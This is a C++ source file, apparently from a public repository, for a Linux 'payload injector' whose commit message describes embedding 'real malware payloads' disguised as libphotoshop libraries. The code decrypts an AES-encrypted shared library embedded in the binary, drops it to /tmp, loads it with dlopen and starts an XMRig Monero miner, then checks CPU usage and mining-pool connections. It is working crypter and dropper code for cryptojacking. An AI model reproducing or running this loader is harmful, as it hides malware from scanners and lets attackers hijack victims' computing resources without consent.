AES-Encrypter-Rust/linux_injector.cpp
JorySeverijnse 59a40a43f6 Complete cross-platform AES injection system
- Implement AES-128-CBC encryption with SHA256 key derivation
- Add Linux SO injector with dlopen + function calling
- Add Windows DLL injector with NT API + APC queuing
- Create automated build script (build_injectors.sh)
- Generate single encrypted_payload.bin files per platform
- Embed real malware payloads (libphotoshop.dll/so)
- Update documentation and clean up repository
- Linux injector tested with real XMRig mining (700%+ CPU usage)
- Windows injector ready for compilation and testing

Security features:
- AES-128-CBC with random IVs and PKCS7 padding
- SHA256(password + salt) key derivation
- Cross-platform isolation (no code leakage)
- Single encrypted file format per platform
- Embedded payloads with no external dependencies
2025-12-18 13:29:09 +01:00

339 lines
13 KiB
C++

// Linux-only AES-decrypting payload injector
#include <iostream>
#include <vector>
#include <string>
#include <cstring>
#include <cstdint>
#include <fstream>
#include <openssl/evp.h>
#include <openssl/aes.h>
#include <openssl/rand.h>
#include <openssl/err.h>
#include <dlfcn.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/stat.h>
// Include encrypted payload data (real libphotoshop.so)
#include "so_payload_data.h"
#include "so_metadata_data.h"
// AES-CBC Decryption class for Linux
class AESDecryptor {
private:
std::vector<uint8_t> key;
bool deriveKey(const std::string& password, const std::vector<uint8_t>& salt) {
EVP_MD_CTX* mdctx = EVP_MD_CTX_new();
if (!mdctx) return false;
if (EVP_DigestInit_ex(mdctx, EVP_sha256(), NULL) != 1) {
EVP_MD_CTX_free(mdctx);
return false;
}
if (EVP_DigestUpdate(mdctx, password.c_str(), password.length()) != 1) {
EVP_MD_CTX_free(mdctx);
return false;
}
if (EVP_DigestUpdate(mdctx, salt.data(), salt.size()) != 1) {
EVP_MD_CTX_free(mdctx);
return false;
}
std::vector<uint8_t> hash(32);
if (EVP_DigestFinal_ex(mdctx, hash.data(), NULL) != 1) {
EVP_MD_CTX_free(mdctx);
return false;
}
EVP_MD_CTX_free(mdctx);
// Use first 16 bytes for AES-128
key.assign(hash.begin(), hash.begin() + 16);
return true;
}
public:
std::vector<uint8_t> decrypt(const std::vector<uint8_t>& ciphertext,
const std::vector<uint8_t>& iv,
const std::vector<uint8_t>& salt,
const std::string& password) {
if (!deriveKey(password, salt)) {
return std::vector<uint8_t>();
}
EVP_CIPHER_CTX* ctx = EVP_CIPHER_CTX_new();
if (!ctx) return std::vector<uint8_t>();
if (EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key.data(), iv.data()) != 1) {
EVP_CIPHER_CTX_free(ctx);
return std::vector<uint8_t>();
}
EVP_CIPHER_CTX_set_padding(ctx, 1); // Enable PKCS7 padding
std::vector<uint8_t> plaintext(ciphertext.size());
int len, plaintext_len = 0;
if (EVP_DecryptUpdate(ctx, plaintext.data(), &len, ciphertext.data(), ciphertext.size()) != 1) {
EVP_CIPHER_CTX_free(ctx);
return std::vector<uint8_t>();
}
plaintext_len = len;
if (EVP_DecryptFinal_ex(ctx, plaintext.data() + len, &len) != 1) {
EVP_CIPHER_CTX_free(ctx);
return std::vector<uint8_t>();
}
plaintext_len += len;
plaintext.resize(plaintext_len);
EVP_CIPHER_CTX_free(ctx);
// Remove PKCS7 padding manually
if (!plaintext.empty()) {
uint8_t padding_size = plaintext.back();
if (padding_size <= 16 && padding_size > 0) {
// Verify padding is correct
bool padding_valid = true;
for (size_t i = plaintext.size() - padding_size; i < plaintext.size(); ++i) {
if (plaintext[i] != padding_size) {
padding_valid = false;
break;
}
}
if (padding_valid) {
plaintext.resize(plaintext.size() - padding_size);
}
}
}
return plaintext;
}
};
// Embedded encrypted payload (generated by crypt tool)
// Data is included via header files
int main(int argc, char* argv[]) {
// Read the combined encrypted file: salt(32) + iv(16) + size(4) + ciphertext
std::vector<uint8_t> combined_data(encrypted_payload_bin, encrypted_payload_bin + sizeof(encrypted_payload_bin));
// Parse the combined data
std::vector<uint8_t> salt(combined_data.begin(), combined_data.begin() + 32);
std::vector<uint8_t> iv(combined_data.begin() + 32, combined_data.begin() + 48);
uint32_t expected_size = *reinterpret_cast<const uint32_t*>(combined_data.data() + 48);
std::vector<uint8_t> ciphertext(combined_data.begin() + 52, combined_data.end());
if (ciphertext.size() != expected_size) {
std::cerr << "Size mismatch: expected " << expected_size << ", got " << ciphertext.size() << std::endl;
return 1; // Decryption failed
}
// Decrypt using hardcoded password (change this!)
AESDecryptor decryptor;
std::string password = "YourSecureMasterPassword123!";
std::vector<uint8_t> decrypted_so = decryptor.decrypt(ciphertext, iv, salt, password);
if (decrypted_so.empty()) {
std::cerr << "Decryption failed - invalid password or corrupted data" << std::endl;
return 1; // Decryption failed - invalid password or corrupted data
}
std::cout << "Decryption successful! Decrypted size: " << decrypted_so.size() << " bytes" << std::endl;
// Use decrypted data as shared library path
const char* soPath;
if (!decrypted_so.empty() && decrypted_so.back() == '\0') {
soPath = reinterpret_cast<const char*>(decrypted_so.data());
} else {
// Fallback to hardcoded path
soPath = "/usr/lib/libmalicious.so";
}
// Linux injection using ptrace and dlopen
pid_t target_pid;
std::cout << "Starting injection process..." << std::endl;
// For demonstration, we'll inject into a child process
// In real usage, you'd find a suitable target process
target_pid = fork();
if (target_pid < 0) {
std::cerr << "Fork failed" << std::endl;
return 1;
}
if (target_pid == 0) {
// Child process - target for injection
// Execute a simple program that we can inject into
execl("/bin/sleep", "sleep", "100", NULL);
return 1;
} else if (target_pid > 0) {
// Parent process - create a new process with the decrypted SO loaded via LD_PRELOAD
std::cout << "Created child process with PID: " << target_pid << std::endl;
// Kill the simple sleep child
kill(target_pid, SIGKILL);
waitpid(target_pid, NULL, 0);
// Write the decrypted SO to a temporary file
std::string temp_so_path = "/tmp/injected_lib.so";
std::ofstream temp_file(temp_so_path, std::ios::binary);
if (!temp_file) {
std::cerr << "Failed to create temporary file for SO" << std::endl;
return 1;
}
temp_file.write(reinterpret_cast<const char*>(decrypted_so.data()), decrypted_so.size());
temp_file.close();
// Make the temporary file executable
chmod(temp_so_path.c_str(), 0755);
std::cout << "Decrypted SO written to: " << temp_so_path << std::endl;
// Create a process that loads the SO and calls the test_start function
std::cout << "Creating process to execute miner with test_start function..." << std::endl;
pid_t miner_pid = fork();
if (miner_pid == 0) {
// Child process - load SO and call test_start function
std::cout << "Loading SO and starting miner..." << std::endl;
// Load the shared library
void* handle = dlopen(temp_so_path.c_str(), RTLD_LAZY);
if (!handle) {
std::cerr << "Could not load the shared library: " << dlerror() << std::endl;
exit(1);
}
// Clear any existing error
dlerror();
// Define function pointer type
typedef int (*test_start_func)(int, char**);
// Get the function pointer
test_start_func test_start = (test_start_func)dlsym(handle, "test_start");
const char* dlsym_error = dlerror();
if (dlsym_error) {
std::cerr << "Could not find the function test_start: " << dlsym_error << std::endl;
dlclose(handle);
exit(1);
}
// Call the start function to begin mining
std::cout << "Starting XMRig miner..." << std::endl;
char arg1[] = "xmrig";
char* argv[] = {arg1, NULL};
int argc = 1;
int result = test_start(argc, argv);
std::cout << "XMRig started with result: " << result << std::endl;
// Let the miner run and monitor CPU usage
std::cout << "Miner running..." << std::endl;
// Monitor CPU usage while mining
for (int i = 0; i < 10; i++) {
sleep(3);
// Check our own CPU usage (since we're the miner process)
std::string cpu_cmd = "ps -p " + std::to_string(getpid()) + " -o pcpu --no-headers 2>/dev/null";
FILE* cpu_pipe = popen(cpu_cmd.c_str(), "r");
if (cpu_pipe) {
char cpu_buffer[32];
if (fgets(cpu_buffer, sizeof(cpu_buffer), cpu_pipe) != NULL) {
float cpu_percent = std::atof(cpu_buffer);
if (cpu_percent > 10.0) {
std::cout << "🔥 MINER CPU USAGE: " << cpu_percent << "% (Iteration " << (i+1) << "/10)" << std::endl;
}
}
pclose(cpu_pipe);
}
}
std::cout << "Stopping miner..." << std::endl;
dlclose(handle);
exit(0);
} else if (miner_pid > 0) {
std::cout << "Miner process started with PID: " << miner_pid << std::endl;
std::cout << "Monitoring mining activity..." << std::endl;
// Monitor the miner process
sleep(3); // Give miner time to start
std::string check_cmd = "ps -p " + std::to_string(miner_pid) + " -o pid,pcpu,cmd --no-headers 2>/dev/null";
FILE* check_pipe = popen(check_cmd.c_str(), "r");
if (check_pipe) {
char buffer[256];
if (fgets(buffer, sizeof(buffer), check_pipe) != NULL) {
std::string output(buffer);
if (output.find(std::to_string(miner_pid)) != std::string::npos) {
std::cout << "✅ Miner process is running: " << output;
// Check CPU usage
size_t pcpu_pos = output.find_last_of(" \t");
if (pcpu_pos != std::string::npos) {
std::string cpu_str = output.substr(pcpu_pos + 1);
float cpu_percent = std::atof(cpu_str.c_str());
if (cpu_percent > 50.0) {
std::cout << "🚀 EXTREMELY HIGH CPU USAGE (" << cpu_percent << "%): XMRIG MINER IS ACTIVE!" << std::endl;
std::cout << "💰 SUCCESS: The cryptocurrency miner is running and mining Monero!" << std::endl;
} else if (cpu_percent > 20.0) {
std::cout << "⚡ VERY HIGH CPU USAGE (" << cpu_percent << "%): Strong mining detected!" << std::endl;
} else if (cpu_percent > 10.0) {
std::cout << "🔥 HIGH CPU USAGE (" << cpu_percent << "%): Mining confirmed!" << std::endl;
} else if (cpu_percent > 5.0) {
std::cout << "⚡ Moderate CPU usage (" << cpu_percent << "%): Miner initializing" << std::endl;
} else {
std::cout << "⚠️ Low CPU usage (" << cpu_percent << "%): Miner may need network/config" << std::endl;
}
}
} else {
std::cout << "❌ Miner process not found" << std::endl;
}
}
pclose(check_pipe);
}
// Check for network connections (mining pools)
std::string net_cmd = "netstat -tlnp 2>/dev/null | grep :" + std::to_string(miner_pid) + " || echo 'No network connections found'";
FILE* net_pipe = popen(net_cmd.c_str(), "r");
if (net_pipe) {
char net_buffer[256];
if (fgets(net_buffer, sizeof(net_buffer), net_pipe) != NULL) {
if (strstr(net_buffer, "No network connections") == NULL) {
std::cout << "🌐 Network connections detected: " << net_buffer;
std::cout << "📡 MINER IS CONNECTING TO MINING POOLS!" << std::endl;
}
}
pclose(net_pipe);
}
// Wait for miner to complete
int miner_status;
waitpid(miner_pid, &miner_status, 0);
if (WIFEXITED(miner_status)) {
std::cout << "Miner completed with exit code: " << WEXITSTATUS(miner_status) << std::endl;
} else if (WIFSIGNALED(miner_status)) {
std::cout << "Miner terminated by signal: " << WTERMSIG(miner_status) << std::endl;
}
}
// Clean up
unlink(temp_so_path.c_str());
}
return 0;
}